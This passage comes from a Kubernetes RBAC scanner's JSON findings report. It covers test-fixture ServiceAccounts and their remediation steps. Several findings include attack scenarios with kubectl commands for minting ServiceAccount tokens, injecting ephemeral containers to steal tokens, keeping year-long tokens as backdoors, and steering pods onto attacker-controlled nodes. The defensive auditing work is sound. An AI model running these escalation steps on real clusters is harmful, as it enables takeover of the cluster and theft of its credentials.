      "https://kubernetes.io/docs/reference/access-authn-authz/service-accounts-admin/#manual-secret-management-for-serviceaccounts",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/#secrets",
      "https://securitylabs.datadoghq.com/articles/kubernetes-tokenrequest-api/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Manage Service Account Tokens (legacy token Secrets)",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/service-accounts-admin/#manual-secret-management-for-serviceaccounts"
      },
      {
        "title": "Kubernetes — RBAC Good Practices: Secrets",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/#secrets"
      },
      {
        "title": "Datadog Security Labs — Persistence via the TokenRequest API",
        "url": "https://securitylabs.datadoghq.com/articles/kubernetes-tokenrequest-api/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1098.001",
        "name": "Account Manipulation: Additional Cloud Credentials",
        "url": "https://attack.mitre.org/techniques/T1098/001/"
      },
      {
        "id": "T1528",
        "name": "Steal Application Access Token",
        "url": "https://attack.mitre.org/techniques/T1528/"
      },
      {
        "id": "T1552.007",
        "name": "Unsecured Credentials: Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:rbac",
      "chain:amplified"
    ]
  },
  {
    "id": "KUBE-PRIVESC-007:ServiceAccount/rbac-fixtures/sa-cluster-admin::*",
    "rule_id": "KUBE-PRIVESC-007",
    "severity": "HIGH",
    "score": 10,
    "category": "privilege_escalation",
    "title": "Cluster-wide `create`+`get` on Secrets mints a ServiceAccount token (`ServiceAccount/rbac-fixtures/sa-cluster-admin`)",
    "description": "Subject ServiceAccount/rbac-fixtures/sa-cluster-admin can both `create` Secrets (via ClusterRoleBinding `crb-cluster-admin` → ClusterRole `cluster-admin`) and `get` Secrets (via ClusterRoleBinding `crb-cluster-admin` → ClusterRole `cluster-admin`). Cluster-wide: applies to every current and future namespace.\n\nHeld together, these two verbs reconstruct the legacy ServiceAccount-token minting primitive. The attacker creates a Secret of type `kubernetes.io/service-account-token` annotated with `kubernetes.io/service-account.name: \u003ctarget-sa\u003e`. The token controller observes the new Secret and populates its `data.token` field with a valid, long-lived JWT for that ServiceAccount. The attacker then `get`s the Secret back and reads the minted token.\n\nThis sidesteps the TokenRequest API gating (KUBE-PRIVESC-014): no `serviceaccounts/token` permission is required. By targeting a privileged SA (a kube-system controller, or any SA bound to a powerful ClusterRole), the attacker obtains that SA's identity. The token is a non-expiring secret-backed token, so it persists until the Secret is deleted.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-cluster-admin",
      "namespace": "rbac-fixtures"
    },
    "resource": {
      "kind": "RBACRule",
      "name": "cluster-admin",
      "api_group": "rbac.authorization.k8s.io"
    },
    "scope": {
      "level": "cluster",
      "detail": "Cluster-wide: applies to every current and future namespace"
    },
    "impact": "Mint and read a long-lived token for any ServiceAccount in Cluster-wide by creating a token-type Secret and reading the controller-populated value: a persistence-friendly alternative to the TokenRequest API.",
    "attack_scenario": [
      "Attacker confirms both verbs with `kubectl auth can-i create secrets --as=sa-cluster-admin -A` and `kubectl auth can-i get secrets --as=sa-cluster-admin -A`.",
      "They pick a privileged target ServiceAccount (e.g. one bound to a powerful ClusterRole).",
      "They create a Secret of type `kubernetes.io/service-account-token` annotated with `kubernetes.io/service-account.name: \u003ctarget-sa\u003e`.",
      "The token controller fills in `data.token`; the attacker `get`s the Secret and base64-decodes the JWT.",
      "They replay the token as the target ServiceAccount. The token is secret-backed and does not expire, surviving RBAC remediation until the Secret is deleted."
    ],
    "evidence": {
      "api_groups": [
        "*"
      ],
      "namespace": "",
      "resource_names": null,
      "resources": [
        "*"
      ],
      "scope": "cluster",
      "source_binding": "crb-cluster-admin",
      "source_binding_kind": "ClusterRoleBinding",
      "source_role": "cluster-admin",
      "source_role_kind": "ClusterRole",
      "verbs": [
        "*"
      ]
    },
    "remediation": "Do not grant `create` and `get` on `secrets` to the same subject; scope each by `resourceNames` and disable legacy token-Secret auto-population where possible.",
    "remediation_steps": [
      "Split the two verbs across different identities, or remove one. Application workloads rarely need to create Secrets at runtime.",
      "If Secret creation is required, scope it by `resourceNames` and never pair it with broad `get` on secrets.",
      "Prefer bound TokenRequest tokens over legacy token Secrets; on modern clusters, avoid manually creating `kubernetes.io/service-account-token` Secrets.",
      "Audit existing token Secrets: `kubectl get secrets -A --field-selector type=kubernetes.io/service-account-token` and remove any that are not expected.",
      "Verify with `kubectl auth can-i create secrets --as=sa-cluster-admin -A` returning `no` for at least one of the two verbs."
    ],
    "references": [
      "https://kubernetes.io/docs/reference/access-authn-authz/service-accounts-admin/#manual-secret-management-for-serviceaccounts",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/#secrets",
      "https://securitylabs.datadoghq.com/articles/kubernetes-tokenrequest-api/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Manage Service Account Tokens (legacy token Secrets)",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/service-accounts-admin/#manual-secret-management-for-serviceaccounts"
      },
      {
        "title": "Kubernetes — RBAC Good Practices: Secrets",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/#secrets"
      },
      {
        "title": "Datadog Security Labs — Persistence via the TokenRequest API",
        "url": "https://securitylabs.datadoghq.com/articles/kubernetes-tokenrequest-api/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1098.001",
        "name": "Account Manipulation: Additional Cloud Credentials",
        "url": "https://attack.mitre.org/techniques/T1098/001/"
      },
      {
        "id": "T1528",
        "name": "Steal Application Access Token",
        "url": "https://attack.mitre.org/techniques/T1528/"
      },
      {
        "id": "T1552.007",
        "name": "Unsecured Credentials: Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:rbac",
      "chain:amplified"
    ]
  },
  {
    "id": "KUBE-PRIVESC-007:ServiceAccount/rbac-fixtures/sa-wildcard::*",
    "rule_id": "KUBE-PRIVESC-007",
    "severity": "HIGH",
    "score": 10,
    "category": "privilege_escalation",
    "title": "Cluster-wide `create`+`get` on Secrets mints a ServiceAccount token (`ServiceAccount/rbac-fixtures/sa-wildcard`)",
    "description": "Subject ServiceAccount/rbac-fixtures/sa-wildcard can both `create` Secrets (via ClusterRoleBinding `crb-wildcard` → ClusterRole `cr-wildcard`) and `get` Secrets (via ClusterRoleBinding `crb-wildcard` → ClusterRole `cr-wildcard`). Cluster-wide: applies to every current and future namespace.\n\nHeld together, these two verbs reconstruct the legacy ServiceAccount-token minting primitive. The attacker creates a Secret of type `kubernetes.io/service-account-token` annotated with `kubernetes.io/service-account.name: \u003ctarget-sa\u003e`. The token controller observes the new Secret and populates its `data.token` field with a valid, long-lived JWT for that ServiceAccount. The attacker then `get`s the Secret back and reads the minted token.\n\nThis sidesteps the TokenRequest API gating (KUBE-PRIVESC-014): no `serviceaccounts/token` permission is required. By targeting a privileged SA (a kube-system controller, or any SA bound to a powerful ClusterRole), the attacker obtains that SA's identity. The token is a non-expiring secret-backed token, so it persists until the Secret is deleted.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-wildcard",
      "namespace": "rbac-fixtures"
    },
    "resource": {
      "kind": "RBACRule",
      "name": "cr-wildcard",
      "api_group": "rbac.authorization.k8s.io"
    },
    "scope": {
      "level": "cluster",
      "detail": "Cluster-wide: applies to every current and future namespace"
    },
    "impact": "Mint and read a long-lived token for any ServiceAccount in Cluster-wide by creating a token-type Secret and reading the controller-populated value: a persistence-friendly alternative to the TokenRequest API.",
    "attack_scenario": [
      "Attacker confirms both verbs with `kubectl auth can-i create secrets --as=sa-wildcard -A` and `kubectl auth can-i get secrets --as=sa-wildcard -A`.",
      "They pick a privileged target ServiceAccount (e.g. one bound to a powerful ClusterRole).",
      "They create a Secret of type `kubernetes.io/service-account-token` annotated with `kubernetes.io/service-account.name: \u003ctarget-sa\u003e`.",
      "The token controller fills in `data.token`; the attacker `get`s the Secret and base64-decodes the JWT.",
      "They replay the token as the target ServiceAccount. The token is secret-backed and does not expire, surviving RBAC remediation until the Secret is deleted."
    ],
    "evidence": {
      "api_groups": [
        "*"
      ],
      "namespace": "",
      "resource_names": null,
      "resources": [
        "*"
      ],
      "scope": "cluster",
      "source_binding": "crb-wildcard",
      "source_binding_kind": "ClusterRoleBinding",
      "source_role": "cr-wildcard",
      "source_role_kind": "ClusterRole",
      "verbs": [
        "*"
      ]
    },
    "remediation": "Do not grant `create` and `get` on `secrets` to the same subject; scope each by `resourceNames` and disable legacy token-Secret auto-population where possible.",
    "remediation_steps": [
      "Split the two verbs across different identities, or remove one. Application workloads rarely need to create Secrets at runtime.",
      "If Secret creation is required, scope it by `resourceNames` and never pair it with broad `get` on secrets.",
      "Prefer bound TokenRequest tokens over legacy token Secrets; on modern clusters, avoid manually creating `kubernetes.io/service-account-token` Secrets.",
      "Audit existing token Secrets: `kubectl get secrets -A --field-selector type=kubernetes.io/service-account-token` and remove any that are not expected.",
      "Verify with `kubectl auth can-i create secrets --as=sa-wildcard -A` returning `no` for at least one of the two verbs."
    ],
    "references": [
      "https://kubernetes.io/docs/reference/access-authn-authz/service-accounts-admin/#manual-secret-management-for-serviceaccounts",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/#secrets",
      "https://securitylabs.datadoghq.com/articles/kubernetes-tokenrequest-api/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Manage Service Account Tokens (legacy token Secrets)",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/service-accounts-admin/#manual-secret-management-for-serviceaccounts"
      },
      {
        "title": "Kubernetes — RBAC Good Practices: Secrets",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/#secrets"
      },
      {
        "title": "Datadog Security Labs — Persistence via the TokenRequest API",
        "url": "https://securitylabs.datadoghq.com/articles/kubernetes-tokenrequest-api/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1098.001",
        "name": "Account Manipulation: Additional Cloud Credentials",
        "url": "https://attack.mitre.org/techniques/T1098/001/"
      },
      {
        "id": "T1528",
        "name": "Steal Application Access Token",
        "url": "https://attack.mitre.org/techniques/T1528/"
      },
      {
        "id": "T1552.007",
        "name": "Unsecured Credentials: Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:rbac",
      "chain:amplified"
    ]
  },
  {
    "id": "KUBE-PRIVESC-013:ServiceAccount/privesc-fixtures/sa-ephemeral::pods/ephemeralcontainers",
    "rule_id": "KUBE-PRIVESC-013",
    "severity": "HIGH",
    "score": 10,
    "category": "privilege_escalation",
    "title": "Cluster-wide ephemeral-container injection enables takeover of running pods (`ServiceAccount/privesc-fixtures/sa-ephemeral`)",
    "description": "Subject ServiceAccount/privesc-fixtures/sa-ephemeral can `update`/`patch` the `pods/ephemeralcontainers` subresource via ClusterRoleBinding `crb-ephemeral` → ClusterRole `cr-ephemeral`. Cluster-wide: applies to every current and future namespace.\n\nEphemeral containers (the engine behind `kubectl debug`) are added to an already-running pod. The injected container joins the target pod's namespaces and, crucially, can mount the pod's ServiceAccount token and (with `shareProcessNamespace` or `targetContainerName`) inspect the other containers' processes and memory. It is functionally pod creation against an existing victim: the attacker chooses the image and command but inherits the victim pod's identity and host exposure.\n\nBecause the parent pod is already scheduled and admitted, ephemeral-container injection can sidestep some admission paths that only fire on pod create, making it a quieter alternative to `pods/exec` for stealing a privileged pod's token.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-ephemeral",
      "namespace": "privesc-fixtures"
    },
    "resource": {
      "kind": "RBACRule",
      "name": "cr-ephemeral",
      "api_group": "rbac.authorization.k8s.io"
    },
    "scope": {
      "level": "cluster",
      "detail": "Cluster-wide: applies to every current and future namespace"
    },
    "impact": "Inject an attacker-controlled container into any running pod in Cluster-wide, inheriting that pod's ServiceAccount token, namespaces, and host mounts.",
    "attack_scenario": [
      "Attacker confirms the verb with `kubectl auth can-i patch pods/ephemeralcontainers --as=sa-ephemeral -A`.",
      "They pick a running pod backed by a privileged ServiceAccount (or one that mounts the host).",
      "They inject a debug container: `kubectl debug -it \u003cpod\u003e --image=alpine --target=\u003ccontainer\u003e`.",
      "From the injected container they read the mounted SA token, or `nsenter` into the target container's namespaces.",
      "They replay the stolen token, or escape to the node if the parent pod is privileged."
    ],
    "evidence": {
      "api_groups": [
        ""
      ],
      "namespace": "",
      "resource_names": null,
      "resources": [
        "pods/ephemeralcontainers"
      ],
      "scope": "cluster",
      "source_binding": "crb-ephemeral",
      "source_binding_kind": "ClusterRoleBinding",
      "source_role": "cr-ephemeral",
      "source_role_kind": "ClusterRole",
      "verbs": [
        "update",
        "patch"
      ]
    },
    "remediation": "Remove `update`/`patch` on `pods/ephemeralcontainers` from non-operator identities; gate debugging behind a break-glass role.",
    "remediation_steps": [
      "Audit who can inject ephemeral containers: `kubectl get clusterroles,roles -A -o json | jq '.items[] | select(.rules[]?.resources[]? | test(\"pods/ephemeralcontainers\"))'`.",
      "Remove the verbs. Reserve ephemeral-container debugging for a JIT/break-glass role granted only during incidents.",
      "Pin sensitive workloads to dedicated least-privilege ServiceAccounts so an injected container does not yield a powerful token.",
      "Verify with `kubectl auth can-i patch pods/ephemeralcontainers --as=sa-ephemeral -A` returning `no`."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/workloads/pods/ephemeral-containers/",
      "https://kubernetes.io/docs/tasks/debug/debug-application/debug-running-pod/",
      "https://microsoft.github.io/Threat-Matrix-for-Kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Ephemeral Containers",
        "url": "https://kubernetes.io/docs/concepts/workloads/pods/ephemeral-containers/"
      },
      {
        "title": "Kubernetes — Debug Running Pods",
        "url": "https://kubernetes.io/docs/tasks/debug/debug-application/debug-running-pod/"
      },
      {
        "title": "Microsoft Threat Matrix for Kubernetes",
        "url": "https://microsoft.github.io/Threat-Matrix-for-Kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1610",
        "name": "Deploy Container",
        "url": "https://attack.mitre.org/techniques/T1610/"
      },
      {
        "id": "T1609",
        "name": "Container Administration Command",
        "url": "https://attack.mitre.org/techniques/T1609/"
      },
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1552.007",
        "name": "Unsecured Credentials: Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:rbac",
      "chain:amplified"
    ]
  },
  {
    "id": "KUBE-PRIVESC-014:ServiceAccount/rbac-fixtures/sa-token-create::serviceaccounts/token",
    "rule_id": "KUBE-PRIVESC-014",
    "severity": "HIGH",
    "score": 10,
    "category": "privilege_escalation",
    "title": "Cluster-wide `create serviceaccounts/token` enables token minting (`ServiceAccount/rbac-fixtures/sa-token-create`)",
    "description": "Subject ServiceAccount/rbac-fixtures/sa-token-create can `create` on the `serviceaccounts/token` subresource via ClusterRoleBinding `crb-token-create` → ClusterRole `cr-token-create`. Cluster-wide: applies to every current and future namespace.\n\nThe TokenRequest API (Kubernetes 1.22+) is the canonical way to mint a JWT ServiceAccount token, and its `create` verb is gated by RBAC on the `serviceaccounts/token` subresource. Anyone holding this verb on a ServiceAccount can mint a token authenticated as that ServiceAccount.\n\nDatadog Security Labs published a write-up on its abuse for persistence: an attacker mints a long-lived token for the highest-privileged ServiceAccount they can reach (commonly `kube-system/clusterrole-aggregation-controller`, which holds `escalate` on ClusterRoles), and uses that token as a backdoor that survives the original RBAC binding being removed. Crucially, this verb is NOT covered by 'list secrets' detections. TokenRequest tokens are NOT stored as Secret objects; they're issued live by the apiserver and never leave a footprint on disk.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-token-create",
      "namespace": "rbac-fixtures"
    },
    "resource": {
      "kind": "RBACRule",
      "name": "cr-token-create",
      "api_group": "rbac.authorization.k8s.io"
    },
    "scope": {
      "level": "cluster",
      "detail": "Cluster-wide: applies to every current and future namespace"
    },
    "impact": "Mint a JWT for any ServiceAccount in Cluster-wide. Cluster-wide variant trivially yields cluster-admin (mint a kube-system controller token). Tokens persist after the original binding is revoked.",
    "attack_scenario": [
      "Attacker confirms the verb with `kubectl auth can-i create serviceaccounts/token --as=sa-token-create -A`.",
      "They enumerate high-privilege ServiceAccounts: `kubectl get clusterrolebindings -o json | jq '.items[].subjects[]?.name'` and pick one with `cluster-admin`, `system:masters`, or aggregated permissions.",
      "They mint a long-lived token via the TokenRequest API: `kubectl create token \u003csa-name\u003e -n \u003cns\u003e --duration=8760h` (1 year), or call `/api/v1/namespaces/\u003cns\u003e/serviceaccounts/\u003csa\u003e/token` directly.",
      "They `kubectl --token=\u003cjwt\u003e get nodes` and confirm the new identity.",
      "They cache the token off-cluster as a backdoor: rotating the original binding does NOT invalidate an issued token until its `exp` claim, which defaults to `--service-account-max-token-expiration` (often 1 year on legacy clusters)."
    ],
    "evidence": {
      "api_groups": [
        ""
      ],
      "namespace": "",
      "resource_names": null,
      "resources": [
        "serviceaccounts/token"
      ],
      "scope": "cluster",
      "source_binding": "crb-token-create",
      "source_binding_kind": "ClusterRoleBinding",
      "source_role": "cr-token-create",
      "source_role_kind": "ClusterRole",
      "verbs": [
        "create"
      ]
    },
    "remediation": "Remove `create` on `serviceaccounts/token` from non-control-plane identities; constrain any legitimate use with `resourceNames` to a tiny allowlist.",
    "remediation_steps": [
      "Remove the verb. Outside `kube-controller-manager` and a small set of token-broker components, nothing should hold this.",
      "If a workload genuinely needs to mint tokens, scope with `resourceNames` to the exact ServiceAccounts it issues tokens for, never `*`.",
      "Enforce a low maximum token expiration cluster-wide via `--service-account-max-token-expiration=1h` on the API server (or the cloud equivalent).",
      "Capture every `create` on `serviceaccounts/token` at `RequestResponse` audit level and SIEM-alert on issuance to ServiceAccounts with `cluster-admin/escalate/bind` rights.",
      "Verify with `kubectl auth can-i create serviceaccounts/token --as=sa-token-create -n kube-system` returning `no`."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/service-accounts/",
      "https://kubernetes.io/docs/reference/access-authn-authz/service-accounts-admin/",
      "https://securitylabs.datadoghq.com/articles/kubernetes-tokenrequest-api/",
      "https://kubernetes.io/docs/reference/kubernetes-api/authentication-resources/token-request-v1/",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Service Accounts (TokenRequest API)",
        "url": "https://kubernetes.io/docs/concepts/security/service-accounts/"
      },
      {
        "title": "Kubernetes — Managing Service Accounts (admin)",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/service-accounts-admin/"
      },
      {
        "title": "Datadog Security Labs — Persistence via the TokenRequest API",
        "url": "https://securitylabs.datadoghq.com/articles/kubernetes-tokenrequest-api/"
      },
      {
        "title": "Kubernetes API — TokenRequest v1",
        "url": "https://kubernetes.io/docs/reference/kubernetes-api/authentication-resources/token-request-v1/"
      },
      {
        "title": "Kubernetes — RBAC Good Practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1098.001",
        "name": "Account Manipulation: Additional Cloud Credentials",
        "url": "https://attack.mitre.org/techniques/T1098/001/"
      },
      {
        "id": "T1528",
        "name": "Steal Application Access Token",
        "url": "https://attack.mitre.org/techniques/T1528/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.5",
        "title": "Ensure that default service accounts are not actively used",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authentication",
        "title": "Service account tokens",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:rbac",
      "chain:amplified"
    ]
  },
  {
    "id": "KUBE-PRIVESC-014:ServiceAccount/cloud-eks-test/eks-token-minter:cloud-eks-test:serviceaccounts/token",
    "rule_id": "KUBE-PRIVESC-014",
    "severity": "HIGH",
    "score": 10,
    "category": "privilege_escalation",
    "title": "Namespace `cloud-eks-test` only `create serviceaccounts/token` enables token minting (`ServiceAccount/cloud-eks-test/eks-token-minter`)",
    "description": "Subject ServiceAccount/cloud-eks-test/eks-token-minter can `create` on the `serviceaccounts/token` subresource via RoleBinding `cloud-eks-test/eks-token-minter` → Role `cloud-eks-test/eks-token-minter`. Namespace `cloud-eks-test` only.\n\nThe TokenRequest API (Kubernetes 1.22+) is the canonical way to mint a JWT ServiceAccount token, and its `create` verb is gated by RBAC on the `serviceaccounts/token` subresource. Anyone holding this verb on a ServiceAccount can mint a token authenticated as that ServiceAccount.\n\nDatadog Security Labs published a write-up on its abuse for persistence: an attacker mints a long-lived token for the highest-privileged ServiceAccount they can reach (commonly `kube-system/clusterrole-aggregation-controller`, which holds `escalate` on ClusterRoles), and uses that token as a backdoor that survives the original RBAC binding being removed. Crucially, this verb is NOT covered by 'list secrets' detections. TokenRequest tokens are NOT stored as Secret objects; they're issued live by the apiserver and never leave a footprint on disk.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "eks-token-minter",
      "namespace": "cloud-eks-test"
    },
    "resource": {
      "kind": "RBACRule",
      "name": "eks-token-minter",
      "namespace": "cloud-eks-test",
      "api_group": "rbac.authorization.k8s.io"
    },
    "namespace": "cloud-eks-test",
    "scope": {
      "level": "namespace",
      "detail": "Namespace `cloud-eks-test` only"
    },
    "impact": "Mint a JWT for any ServiceAccount in Namespace `cloud-eks-test` only. Cluster-wide variant trivially yields cluster-admin (mint a kube-system controller token). Tokens persist after the original binding is revoked.",
    "attack_scenario": [
      "Attacker confirms the verb with `kubectl auth can-i create serviceaccounts/token --as=eks-token-minter -n cloud-eks-test`.",
      "They enumerate high-privilege ServiceAccounts: `kubectl get clusterrolebindings -o json | jq '.items[].subjects[]?.name'` and pick one with `cluster-admin`, `system:masters`, or aggregated permissions.",
      "They mint a long-lived token via the TokenRequest API: `kubectl create token \u003csa-name\u003e -n \u003cns\u003e --duration=8760h` (1 year), or call `/api/v1/namespaces/\u003cns\u003e/serviceaccounts/\u003csa\u003e/token` directly.",
      "They `kubectl --token=\u003cjwt\u003e get nodes` and confirm the new identity.",
      "They cache the token off-cluster as a backdoor: rotating the original binding does NOT invalidate an issued token until its `exp` claim, which defaults to `--service-account-max-token-expiration` (often 1 year on legacy clusters)."
    ],
    "evidence": {
      "api_groups": [
        ""
      ],
      "namespace": "cloud-eks-test",
      "resource_names": null,
      "resources": [
        "serviceaccounts/token"
      ],
      "scope": "namespace",
      "source_binding": "eks-token-minter",
      "source_binding_kind": "RoleBinding",
      "source_role": "eks-token-minter",
      "source_role_kind": "Role",
      "verbs": [
        "create"
      ]
    },
    "remediation": "Remove `create` on `serviceaccounts/token` from non-control-plane identities; constrain any legitimate use with `resourceNames` to a tiny allowlist.",
    "remediation_steps": [
      "Remove the verb. Outside `kube-controller-manager` and a small set of token-broker components, nothing should hold this.",
      "If a workload genuinely needs to mint tokens, scope with `resourceNames` to the exact ServiceAccounts it issues tokens for, never `*`.",
      "Enforce a low maximum token expiration cluster-wide via `--service-account-max-token-expiration=1h` on the API server (or the cloud equivalent).",
      "Capture every `create` on `serviceaccounts/token` at `RequestResponse` audit level and SIEM-alert on issuance to ServiceAccounts with `cluster-admin/escalate/bind` rights.",
      "Verify with `kubectl auth can-i create serviceaccounts/token --as=eks-token-minter -n kube-system` returning `no`."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/service-accounts/",
      "https://kubernetes.io/docs/reference/access-authn-authz/service-accounts-admin/",
      "https://securitylabs.datadoghq.com/articles/kubernetes-tokenrequest-api/",
      "https://kubernetes.io/docs/reference/kubernetes-api/authentication-resources/token-request-v1/",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Service Accounts (TokenRequest API)",
        "url": "https://kubernetes.io/docs/concepts/security/service-accounts/"
      },
      {
        "title": "Kubernetes — Managing Service Accounts (admin)",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/service-accounts-admin/"
      },
      {
        "title": "Datadog Security Labs — Persistence via the TokenRequest API",
        "url": "https://securitylabs.datadoghq.com/articles/kubernetes-tokenrequest-api/"
      },
      {
        "title": "Kubernetes API — TokenRequest v1",
        "url": "https://kubernetes.io/docs/reference/kubernetes-api/authentication-resources/token-request-v1/"
      },
      {
        "title": "Kubernetes — RBAC Good Practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1098.001",
        "name": "Account Manipulation: Additional Cloud Credentials",
        "url": "https://attack.mitre.org/techniques/T1098/001/"
      },
      {
        "id": "T1528",
        "name": "Steal Application Access Token",
        "url": "https://attack.mitre.org/techniques/T1528/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.5",
        "title": "Ensure that default service accounts are not actively used",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authentication",
        "title": "Service account tokens",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:rbac",
      "chain:amplified"
    ]
  },
  {
    "id": "KUBE-PRIVESC-016:ServiceAccount/cert-manager/cert-manager::*",
    "rule_id": "KUBE-PRIVESC-016",
    "severity": "HIGH",
    "score": 10,
    "category": "privilege_escalation",
    "title": "Pod removal + node manipulation can migrate workloads onto an attacker node (`ServiceAccount/cert-manager/cert-manager`)",
    "description": "Subject ServiceAccount/cert-manager/cert-manager can `delete pods` (via ClusterRoleBinding `cutres-deputy-cm-admin` → ClusterRole `cluster-admin`) and also `update nodes/status` (via ClusterRoleBinding `cutres-deputy-cm-admin` → ClusterRole `cluster-admin`). Cluster-wide: nodes and their scheduling are cluster-scoped resources.\n\nCombined, these let an attacker steer where high-value pods run. On the node side, `update`/`patch` on `nodes` is what `kubectl cordon` (spec.unschedulable) and `kubectl taint` (spec.taints) send; a write to `nodes/status` can report a node `NotReady`, which makes the node lifecycle controller taint it until the kubelet reports again; and `delete nodes` removes a node outright. On the pod side, `delete` removes a pod, `deletecollection` removes every pod in scope at once, and `create` on `pods/eviction` evicts one through the Eviction API, which waits until the pod's PodDisruptionBudget allows it. Once the other nodes refuse new pods, the removed pods are rescheduled onto what is left. If the attacker controls (or can compromise) the remaining schedulable node, a sensitive pod (a controller, a pod with a privileged ServiceAccount, a pod that mounts secrets) lands where they can exec into it, read its mounted token, or sniff its traffic.\n\nThis is an indirect, scheduling-level escalation: neither verb reads a Secret or binds a role directly, but together they break the assumption that a workload stays on a trusted node. It is most dangerous in clusters with a mix of trusted and lower-trust nodes (spot/burst pools, tenant-dedicated nodes).",
    "subject": {
      "kind": "ServiceAccount",
      "name": "cert-manager",
      "namespace": "cert-manager"
    },
    "resource": {
      "kind": "RBACRule",
      "name": "cluster-admin",
      "api_group": "rbac.authorization.k8s.io"
    },
    "scope": {
      "level": "cluster",
      "detail": "Cluster-wide: nodes and their scheduling are cluster-scoped resources"
    },
    "impact": "Relocate sensitive pods onto a node the attacker controls by manipulating node scheduling and removing pods, then steal those pods' tokens or traffic from the node.",
    "attack_scenario": [
      "Attacker confirms both halves with `kubectl auth can-i delete pods --as=cert-manager -A` and `kubectl auth can-i update nodes/status --as=cert-manager -A`.",
      "They make every node except one they control refuse new pods: `kubectl cordon \u003cn\u003e` or `kubectl taint node \u003cn\u003e ...` with a `nodes` write, a `NotReady` condition written through `nodes/status`, or `kubectl delete node \u003cn\u003e`, depending on which node grant they hold.",
